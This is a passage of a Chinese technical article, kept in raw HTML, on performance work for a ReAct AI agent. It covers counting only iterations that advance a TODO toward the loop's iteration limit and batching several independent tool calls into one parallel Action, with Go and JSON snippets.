rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Perception</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2-3 次</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">0-1 次</span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Verification</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1-2 次</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">0-1 次</span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">意图识别</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2-4 次</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">1-2 次</span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">合计</span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">5-7 次</span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf="">2-3 次</span></strong></p></td></tr></tbody></table><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt1676nr2hj" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="878" data-imgfileid="100046418" data-ratio="0.49325842696629213" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1780" data-width="1780" src="https://wechat2rss.xlab.app/img-proxy/?k=f031ff76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GnPG4eBy8yZYxYsTGVicR1B5AXeeM1Nqnr0gsiaxSSXWPEN6aTvjGd2IgoW3oNo8fR2ZPGXhrfozR9TEpIN5OS1iagasQnTYFaRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">四、迭代预算：有效迭代次数重定义</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">单轮耗时和 LLM 调用次数都优化了，但还有一个不太显眼的问题：Agent 有时候并没有&#34;慢&#34;，而是被</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">迭代上限</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">提前截断了——明明还在推进任务，却因为&#34;轮次用完了&#34;而退出。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这个问题的根源在于，迭代上限的计数方式有问题。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.1 每一轮都算数，公平吗</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">原来的逻辑很简单：主循环每跑一圈，</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">iterationCount</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 加一，到了 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">maxIterations</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 就停。这听起来合理，但实际跑起来会发现一个问题——</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不是每一轮都在推进任务</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Agent 在执行过程中会出现&#34;空转轮&#34;：AI 调了一个工具但没改动任何 TODO，或者向用户请求了一次澄清但没有产生新的行动。这些轮次消耗了一次迭代预算，但实际上什么也没推进。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">举个具体的例子：Agent 有 3 个 TODO 要完成，maxIterations 设为 20。前 5 轮顺利完成了第一个 TODO，但第 6 轮 AI 调了一个工具发现需要更多信息，第 7 轮请求用户澄清，第 8 轮根据回复重新调了工具——这 3 轮都是空转，没动任何 TODO，但 iterationCount 已经涨到了 8。如果类似的情况多出现几次，Agent 可能在完成 2 个 TODO 后就因为&#34;轮次用完&#34;退出，第三个 TODO 没机会做。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这本质上是把&#34;思考次数&#34;和&#34;推进次数&#34;混为一谈了。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.2 什么算&#34;有效推进&#34;</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">我们引入了一个新的计数器 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">effectiveIterationCount</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，和原始的 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">iterationCount</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 并行运行。判定标准很简单：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"><span class="code-snippet__params">(r *ReActLoop)</span></span> advanceEffectiveIteration(task aicommon.AIStatefulTask, delta *aicommon.TodoDelta) {</span></code><br/><br/><code><span leaf="">    scope := aicommon.BuildVerificationTodoScope(task)</span></code><br/><br/><code><span leaf="">    hasActiveTodo := <span class="code-snippet__literal">false</span></span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> r.config != <span class="code-snippet__literal">nil</span> {</span></code><br/><br/><code><span leaf="">        active := r.config.ActiveVerificationTodoItemsByScope(scope)</span></code><br/><br/><code><span leaf="">        hasActiveTodo = <span class="code-snippet__built_in">len</span>(active) &gt; <span class="code-snippet__number">0</span></span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">    progressed := delta != <span class="code-snippet__literal">nil</span> &amp;&amp; delta.HasChanges()</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> !hasActiveTodo || progressed {</span></code><br/><br/><code><span leaf="">        r.effectiveIterationCount++</span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">一轮算不算有效，取决于两个条件：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.本轮的 action 携带了 todo_delta 且有实际变更</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（新增、完成或切换了 TODO）→ 有效</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2.当前没有活跃的 TODO</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（处于规划或侦察阶段，还没有拆解出具体任务）→ 有效</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">反过来，如果当前有活跃的 TODO 但本轮没有 todo_delta 变更，这就是一个空转轮——不计入 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">effectiveIterationCount</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.3 只改判断标准，不改其他逻辑</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">一个重要的细节是：原始的 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">iterationCount</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 并没有被删除。它仍然用于 prompt 构建、goal-mode 门控、timeline、心跳等所有需要&#34;第几轮&#34;信息的地方。改动只影响迭代上限的判断：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__comment">// 改动前：原始循环圈数</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> iterationCount &gt; maxIterations {</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 到达上限，退出</span></span></code><br/><br/><code><span leaf="">}</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment">// 改动后：有效推进轮数</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> r.<span class="code-snippet__property">effectiveIterationCount</span> &gt; maxIterations {</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 到达上限，退出</span></span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这样空转轮不再消耗迭代预算。</span><span textstyle="" style="letter-spacing: 1px;">同样是 maxIterations=20，现在 Agent 可以经历 30 轮甚至 40 轮的循环，只要其中有 20 轮是真正推进了 TODO 的，就不会被提前截断。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.4 效果</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这个改动的影响不是&#34;快了多少毫秒&#34;，而是&#34;能不能完成任务&#34;。之前可能跑 20 轮就因为空转耗尽预算而退出，现在同样的预算能覆盖更多的实际工作量。对于需要频繁试探、澄清、重试的安全测试场景，这意味着</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;"> Agent 不会在中途因为&#34;轮次用完&#34;而放弃未完成的任务。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">五、主循环轮次：Action 数组并发工具调用</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">前面三块分别优化了构建 Prompt、调用 LLM 和迭代预算，但回头看&#34;执行工具&#34;这一步，还有一个更根本的效率瓶颈——不是算得慢，不是调得多了，而是</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">明明可以一次做完的事，非要拆成好几轮</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">ReAct Agent 原来的规则是：一轮迭代输出一个 Action，一个 Action 只表达一个工具调用。这意味着即使 AI 已经明确知道要读 3 个互不相关的文件，也必须串行跑 3 轮：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt16excab6y" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="346" data-imgfileid="100046420" data-ratio="0.16994106090373282" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2036" data-width="2036" src="https://wechat2rss.xlab.app/img-proxy/?k=e9e92e56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FkgAibm59YF4sRSfHXjUJtODiaTmNaXRKeqIymycQt5xFHtyG1xpXJSZEcfEicSVj2Z3qmOtIOFfU2GTE6aozdfamllg0Oo24XqE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这带来四类成本：用户等待时间变长（独立 I/O 被人为串行化）、模型调用次数增加（每个工具之间都多一次主循环决策）、上下文噪声增加（每轮都要重新携带完整 Prompt 和 Timeline）、业务吞吐下降（文件读取、独立搜索无法利用天然并行性）。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">5.1 让一个 Action 承载多个独立调用</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">核心改动：</span><span textstyle="" style="letter-spacing: 1px;">在原有 Action 协议上增加数组字段 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">directly_call_tool_calls</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（参数已知）和 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">tool_require_calls</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（参数待生成），让 AI 在一轮里声明 2-8 个独立调用，运行时真正并发执行。</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="JSON" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">{</span></code><br/><br/><code><span leaf="">  <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">@action</span></span><span class="code-snippet__string">&#34;</span>: <span class="code-snippet__string">&#34;directly_call_tool&#34;</span>,</span></code><br/><br/><code><span leaf="">  <span class="code-snippet__string">&#34;identifier&#34;</span>: <span class="code-snippet__string">&#34;parallel_project_reads&#34;</span>,</span></code><br/><br/><code><span leaf="">  <span class="code-snippet__string">&#34;directly_call_tool_calls&#34;</span>: [</span></code><br/><br/><code><span leaf="">    {</span></code><br/><br/><code><span leaf="">      <span class="code-snippet__string">&#34;tool_name&#34;</span>: <span class="code-snippet__string">&#34;read_file&#34;</span>,</span></code><br/><br/><code><span leaf="">      <span class="code-snippet__string">&#34;params&#34;</span>: {<span class="code-snippet__string">&#34;path&#34;</span>: <span class="code-snippet__string">&#34;/workspace/go.mod&#34;</span>},</span></code><br/><br/><code><span leaf="">      <span class="code-snippet__string">&#34;identifier&#34;</span>: <span class="code-snippet__string">&#34;read_go_mod&#34;</span></span></code><br/><br/><code><span leaf="">    },</span></code><br/><br/><code><span leaf="">    {</span></code><br/><br/><code><span leaf="">      <span class="code-snippet__string">&#34;tool_name&#34;</span>: <span class="code-snippet__string">&#34;read_file&#34;</span>,</span></code><br/><br/><code><span leaf="">      <span class="code-snippet__string">&#34;params&#34;</span>: {<span class="code-snippet__string">&#34;path&#34;</span>: <span class="code-snippet__string">&#34;/workspace/README.md&#34;</span>},</span></code><br/><br/><code><span leaf="">      <span class="code-snippet__string">&#34;identifier&#34;</span>: <span class="code-snippet__string">&#34;read_readme&#34;</span></span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">  ]</span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">改造后的流程：</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mt16fxxiqp7" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="834" data-imgfileid="100046421" data-ratio="0.35732647814910024" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2334" data-width="2334" src="https://wechat2rss.xlab.app/img-proxy/?k=4c066fd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GHB0Jk4cHD1HYAf6OVcUzpu4gSJmG0prvN4vX4ibmgTzFELWM0icd04ce6fNVhEvuUR5R6GJibt2BKGFAd7x2adHe2B26aZlPULU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, 